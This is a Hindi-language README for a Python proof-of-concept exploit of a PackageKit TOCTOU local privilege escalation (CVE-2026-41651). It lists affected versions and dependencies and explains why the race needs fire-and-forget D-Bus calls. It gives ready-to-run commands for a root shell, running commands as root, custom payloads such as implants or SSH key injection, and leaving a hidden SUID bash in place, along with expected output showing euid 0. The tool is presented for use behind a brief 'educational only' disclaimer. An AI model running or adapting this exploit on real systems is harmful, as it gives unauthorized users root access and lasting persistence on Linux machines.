
PackageKit TOCTOU स्थानीय विशेषाधिकार वृद्धि शोषण का Python PoC। कोई भी स्थानीय गैर-विशेषाधिकार प्राप्त उपयोगकर्ता बिना किसी प्रमाणीकरण के रूट के रूप में मनमाना पैकेज स्थापित कर सकता है।
| फ़ील्ड | मान |
|---|---|
| सीवीई | CVE-2026-41651 |
| घटक | PackageKit डेमन (packagekitd) |
| प्रभावित संस्करण | 1.0.2 – 1.3.4 |
| स्थिर संस्करण | 1.3.5 |
| प्रभाव | स्थानीय विशेषाधिकार वृद्धि → रूट |
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
असुरक्षित OS: कोई भी Linux वितरण जो PackageKit >= 1.0.2 <= 1.3.4 चला रहा हो।
PoC सीमा: अंतर्निहित पैकेज बिल्डर केवल
.debफ़ाइलें बनाता है, इसलिए स्क्रिप्ट को यथावत चलाने के लिए Debian/Ubuntu होस्ट की आवश्यकता होती है। RPM-आधारित सिस्टम पर,--payload-scriptके माध्यम से एक कस्टम postinst पेलोड प्रदान करें और सुनिश्चित करें किdpkg/dpkg-devउपलब्ध है, या बिल्डर को अनुकूलित करें।
Python: 3.6+
सिस्टम पैकेज (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
निर्भरता पर नोट:
python3-dbusऔरpython3-giPython मानक पुस्तकालय (stdlib) नहीं हैं, लेकिन वे लगभग हमेशा किसी भी ग्राफिकल डेस्कटॉप वातावरण (GNOME, KDE, XFCE, आदि) चलाने वाली मशीन पर पहले से मौजूद होते हैं, क्योंकि ये वातावरण सीधे उन पर निर्भर करते हैं। एक मानक Ubuntu Desktop इंस्टॉल पर दोनों लाइब्रेरी बिना किसी मैन्युअल इंस्टॉलेशन के उपलब्ध होती हैं। GUI के बिना एक न्यूनतम सर्वर पर वे अनुपस्थित हो सकती हैं, इसलिए उस स्थिति में उपरोक्तapt installके लिए sudo की आवश्यकता होती है, जो LPE संदर्भ का खंडन करता है। व्यवहार में, डेस्कटॉप सत्र वाला कोई भी PackageKit चलाने वाला मशीन पहले से ही इन निर्भरताओं को संतुष्ट कर चुका होगा।
gir1.2-glib-2.0GLib के लिए GObject Introspection टाइपलिब फ़ाइलें प्रदान करता है।python3-giPython बाइंडिंग इंजन है, लेकिन उसे GLib से विशेष रूप से बात करने का तरीका जानने के लिए इन टाइपलिब फ़ाइलों की आवश्यकता होती है। इस पैकेज के बिना,from gi.repository import GLibविफल हो जाता है, भले हीpython3-giस्थापित हो। दोनों किसी भी GNOME-आधारित डेस्कटॉप द्वारा स्वचालित रूप से खींच लिए जाते हैं।
केवल-stdlib प्रयास पर नोट: इस PoC के पिछले संस्करण ने D-Bus कॉल को
gdbus/dbus-sendसबप्रोसेस से बदलकर, फिर Unix सॉकेट पर सीधे D-Bus वायर प्रोटोकॉल बोलकर, इन निर्भरताओं को पूरी तरह से हटाने का प्रयास किया था। दोनों दृष्टिकोण TOCTOU रेस को विश्वसनीय रूप से ट्रिगर करने में विफल रहे: बाहरी प्रक्रियाओं को स्पॉन करना दोInstallFilesकॉलों के बीच पर्याप्त विलंबता पैदा करता है, जिससे PackageKit Step 2 आने से पहले Step 1 को संसाधित कर लेता है, और रेस टूट जाती है।dbus-pythonबाइंडिंग दोनों कॉलों को बिना किसी fork ओवरहेड के उसी पहले से खुले सॉकेट पर फायर-एंड-फॉरगेट भेजता है, जो टाइमिंग को कारगर बनाता है। इस कारण केवल-stdlib संस्करण को वापस ले लिया गया है।
PackageKit संस्करण सत्यापित करें (PoC के बिना):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
उदाहरण:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
अपेक्षित आउटपुट:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
मूल C PoC पर आधारित, Vozec द्वारा। यह पोर्टेबिलिटी के लिए एक Python पुनर्लेखन है। शोषण तकनीक का सारा श्रेय मूल लेखक को जाता है।
Python पुनर्लेखन Claude (Anthropic) की सहायता से विकसित किया गया।
| फ़्लैग | विवरण |
|---|
--check | PackageKit संस्करण क्वेरी करें और भेद्यता रिपोर्ट करें, फिर बाहर निकलें |
--exec CMD | इंटरैक्टिव शेल खोलने के बजाय रूट के रूप में एक एकल कमांड चलाएँ |
--payload-script FILE | अंतर्निहित SUID bash ड्रॉपर के बजाय एक कस्टम postinst स्क्रिप्ट का उपयोग करें |
--suid-path PATH | SUID bash कहाँ रखा जाए (डिफ़ॉल्ट: /tmp/.suid_bash) |
--no-cleanup | शेल से बाहर निकलने के बाद SUID bash को बनाए रखें |
--timeout N | SUID bash के लिए पोल करने हेतु सेकंड (डिफ़ॉल्ट: 120) |
--quiet | प्रगति आउटपुट दबाएँ (स्क्रिप्टिंग के लिए) |